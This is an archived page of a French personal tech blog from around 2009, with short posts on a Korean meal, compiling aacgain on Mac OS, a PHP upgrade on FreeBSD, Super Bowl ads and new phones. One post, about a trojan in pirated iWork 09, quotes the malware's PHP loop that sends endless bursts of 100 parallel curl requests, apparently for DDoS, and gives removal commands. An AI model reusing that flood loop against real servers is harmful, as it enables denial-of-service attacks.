Page d'Archive n°8

Expérience Coréenne !

puppy

Il fallait bien essayer cela avant de partir et c’est vraiment délicieux comme viande. Ca ressemble a du gibier pour débutant, c’est une viande plus forte que la moyenne mais ce n’est pas non plus fort comme pourrait l’être du Sanglier ou ce genre de viande.

Hormis le prix vraiment excessif même pour la Corée, rien à redire. Si vous avez l’occasion d’essayer, je vous conseille la soupe, les morceaux de viandes sont hors de prix et pas vraiment extraordinaire. Ne vous méprenez pas, c’est délicieux, le rapport goût/prix ne se justifie vraiment pas selon moi.

Sur ce, je vais passer ma journée à joyeusement cuver ma sortie d’hier. Mon foie manque d’entraînement depuis six mois.. Je ne m’étais jamais fait couché aussi tôt et par aussi « peu »…

Mouvement !

J’ai décidé il y a quelques semaines déjà de changer l’adresse de ce blog, pas de grand chanbardement le simple retrait du « blog. » désormais vous pouvez trouver ce blog sur http://geekboy.fr tout bêtement !
Il y a une redir permanente du blog. vers cette nouvelle adresse, pas d’inquiétude à avoir.
Je trouvais que ça collais plus avec ce que je veux faire de ce blog ! Des petites retouches ont également été apportées de ci de là.

Dans la catégorie mouvement, mon voyage en Corée touche à sa fin (hélàs) après un excellent semestre (de césure ? Je crois qu’on peut le dire maintenant !), je m’apprete à rentrer Mercredi à Paris pour y passer les six prochains mois. Ayant beaucoup de geekeries en tête, vous devriez avoir des articles à venir assez complets !

Si vous êtes en manque de « geek fact », vous pouvez vivre un moment d’histoire informatique à ce moment !
Et si ça vous intérèsse, vous pouvez gagner un caméscope (Samsung VP-HMX20C Camcorder HD) chez Ulrich !

Compiler aacgain sur Mac OS

/!\ Encore un post très geek mais également pour ceux qui bichonne leur collection de mp3 !

aacgain est un utilitaire en ligne de commande qui permets de « niveler » le niveau sonore perçu par l’oreille. Ca arrive assez souvent que les artistes choisissent des niveaux de sons assez différents ce qui a pour résultat de vous faire changer en permanence le volume de vos enceintes.
Quoi de plus désagréables que des enceintes qui hurle juste après une chanson que l’on entendait à peine ? (Je présume que vous savez encoder vos CDs et que vous l’avez bien fait, si la qualité des fichiers n’est pas là.. On ne peut pas grand chose pour vous).

C’est là que aacgain sauve des oreilles ! Vous pouvez niveler par morceaux ou par albums (pour garder le rendu souhaité par l’artiste). Cet utilitaire est vraiment très bien fait et très utile, je l’utilise sur toute ma collection.

Il vient du monde magique de l’open source mais quand on est sous Mac OS X, on n’a pas forcémment accès à cela, vous pouvez utiliser DarwinPorts, MacPorts et bien d’autres, mais si comme moi, vous n’avez besoin que de aacgain, voilà comment le compiler :

  • Récupérez les sources !
  • Patchez la librarie faad2 pour qu’elle soit compatible avec les libs Mac OS
  • Ensuite, un petit « ./configure CFLAGS=’-DHAS_LRINTF’ » et un « ./make » plus loin, vous êtes bon !

Le binaire aacgain se trouve dans le dossier aacgain pour la petite info ;).

Si vous êtes feignant et que préférez utiliser une interface graphique, coup de bol, MacMP3Gain existe ! Ca fait pas mal d’années que l’app n’a pas été mise à jour mais elle n’est consitué que d’un AppleScript utilisant aacgain et d’une interface graphique, pas beaucoup de choses à y faire. De temps en temps j’en fais une mises à jour quand une nouvelle version de aacgain sort.
Si la version graphique vous intérèsse, vous pouvez la trouver ici uniquement pour plateforme Intel avec la version 1.8 de aacgain !

Superbowl Ads 2009

Je n’ai jamais vu un match de football Américain de ma vie mais si il ya bien quelque chose que j’adore regarder année après année, ce sont les pubs du Superbowl !

Si ça vous intérésse, une playlist YouTube a été crée, regroupant les 53 pubs passées aux USA.

Ma grande favorite (et parce que j’adore Alec Baldwin) :

Un éléphant ça trompe énormément

Attention, ce billet va être très geek !
Pute pute pute !

Pute pute pute !

Je ne sais pas si vous avez fait attention, mais le site a fait des aller/retour entre maintenant et hier toute la journée. Pourquoi ? À cause d’une mise à jour de PHP.

Je m’explique. Le serveur tournait avec la version 5.2.6 de PHP. Aucun soucis à l’horizon tout va bien. J’ai vu à l’horizon la version 5.2.7 qui fut suivi d’un nombre de critiques très important de la communauté, je m’en suis donc bien abstenu.
Et hier soir dans un élan de folie, après avoir corrigé cette malheureuse release par une 5.2.8 qui était censé marcher… Qu’elle ne fut pas ma déception.

Alors, si comme moi, vous êtes sous FreeBSD et/ou que vous avez les mêmes ennuis :

Avec cette version, le module php5-pcre n’existe plus ! Pas la même de le chercher dans /usr/ports/devel ! Lisez le /usr/ports/UPDATING, vous y trouverez une méthode pour mettre à jour.

Chez moi cette méthode n’a rien donné, peut être dû au fait que je venais de la version 5.2.6, va savoir…

Après m’être débarrassé de toutes les librairies php qui traînait, bien tout nettoyé. J’ai enfin pu mettre à jour les ports de FreeBSD afin d’installer la version promise ! Je vous donne la version courte sans de nombreuses bidouille et essai infructueux qui ont failli me faire faire une nuit blanche !

Mais on ne s’arrête pas là.. ah ah ! Je m’aperçois que lorsque je parse du xml tous les caractères < et > ont été joyeusement droppés après une recherche fatigué dans les bugs de PHP, je m’aperçois que le soucis vient de libxml2. Un downgrade et une relance de Apache plus tard, tout remarche enfin comme sur des roulettes !

Trojan iWork 09′

Il y’a quelque jours, un processus php mangeait tout mon CPU durant la nuit. Je me suis levé et j’ai killé ces derniers sans vraiment m’en préoccuper. J’ai fait des recherches rapides sur Google car le code était douteux :

php -r while(1){
$mh = curl_multi_init(); $ch = array();
for($i = 0; $i < 100; $i++){
$ch[$i] = curl_init(); ^Icurl_setopt($ch[$i], CURLOPT_URL, "http://...");
curl_setopt($ch[$i], CURLOPT_HEADER, 0);
curl_setopt($ch[$i], CURLOPT_RETURNTRANSFER, true);
curl_multi_add_handle($mh, $ch[$i]);
}
do{ ^Icurl_multi_exec($mh, $running); }
while($running > 0);
for($i = 0; $i < 100; $i++){ ^Icurl_multi_remove_handle($mh, $ch[$i]); }
curl_multi_close($mh);
}

Et hier, j'ai lu sur MacBidouille que ces petits malins étaient issus d'un Trojan venu avec une version pirate de iWork 09'.

Heurement, le processus pour supprimer le malveillant est assez simple :
1) (open Terminal.app)
2) sudo su (enter password)
3) rm -r /System/Library/StartupItems/iWorkServices
4) rm /private/tmp/.iWorkServices
5) rm /usr/bin/iWorkServices
6) rm -r /Library/Receipts/iWorkServices.pkg
7) killall -9 iWorkServices

La place de l'étape 7 est discutable mais visiblement le trojan est assez stupide et ce n'est donc pas un problème. Il ne cherche pas à se recréer quelque part où ce genre de méchanismes de "protection".

Beaucoup de personne conseils de réinstaller Mac OS X par mesure de sécurité, n'ayant pas cet option en Corée, je vais attendre de voir si ce programme est plus vicieux qu'au premier abord mais je ne pense vraiment pas qu'il était destiné à autre chose qu'à des attaques DDoS.

Ca me fera une bonne leçon à l'avenir !

Edit : Pour vérifier si vous avez le trojan, regardez si le dossier "/System/Library/StartupItems/iWorkServices/" existe. Si oui, vous savez ce qu'il vous reste à faire !

Windows Seven

Je n’ai pas pour habitude de parler des grosses nouvelles Microsoft car bien souvent cela ne m’intéresse pas mais je suis penché sur Windows Seven pour voir la suite de l’échec cuisant que fut Vista. Et un nouvel OS, c’est toujours amusant à prendre en main !

J’ai décidé de le tester dans une machine virtuelle sur mon MacBook et… j’ai été très agréablement surpris !
Lire la suite de ce billet »

Palm Pre

picture-1

Si vous ne l’avez pas encore vu, regardez la keynote de Palm au CES(clique droit, enregistrez sous), ça vaut vraiment le coup d’oeil si le futur de la téléphonie vous intérésse.

Jon Rubinstein (ancien d’Apple, patron et créateur de la division iPod) qui présente avec d’autres membres de l’équipe Palm ce tout nouveau téléphone (le Palm Pre donc). On nous montre énormément de bonnes idées, je trouve l’appareil moche (vraiment :/) mais l’OS et les concepts apportés sont vraiment très intéréssants.

Je me pose tout de même une question concernant tous ces appareils avec écrans tactiles qui sortent, en ce qui me concerne, je ne supporte vraiment pas les écrans tactiles, ça ne marche pas quand j’ai des gants, desfois ça ne prends pas bien en compte la position de mes doigts, ça s’encrasse très vite, etc..
Est ce que cette technologie va vraiment perdurer ou est ce juste un effet de mode qui va vite être oublier ?
Palm proposant un mix des deux mondes (écran tacticle + clavier) est à mon avis sur une bonne idée mais je reste sur mes apprioris concernant les écrans tactiles, d’autant que selon leur démo, on ne peut vraiment pas tout faire au clavier si on le souhaite ! Je reste sceptique…

Segata Sanshiro

553279

Je suis fan ! Histoire de vous pourrir votre Dimanche, voilà la vidéo ultime :

Les infos sur Sonic Retro ainsi que la page Wikipédia kivabien !

Et pour que vous puissiez chanter, la version KARAOKE !

Non, ne me remerciez pas ! Si vous voulez, j’ai le mp3 dans un coin ;)

Moi pour le nouvel an

Je regarde des divx sous ma couette en entendant mon coloc jouer à Bioshock.
Et ça sera surement une excellente soirée de réveillon.
Je vous souhaite à tous une excellente année 2009 et un joyeux réveillon à faire ce que vous voulez.

Bientôt une note sur Séoul quand j’aurais quelque photos à mettre dedans !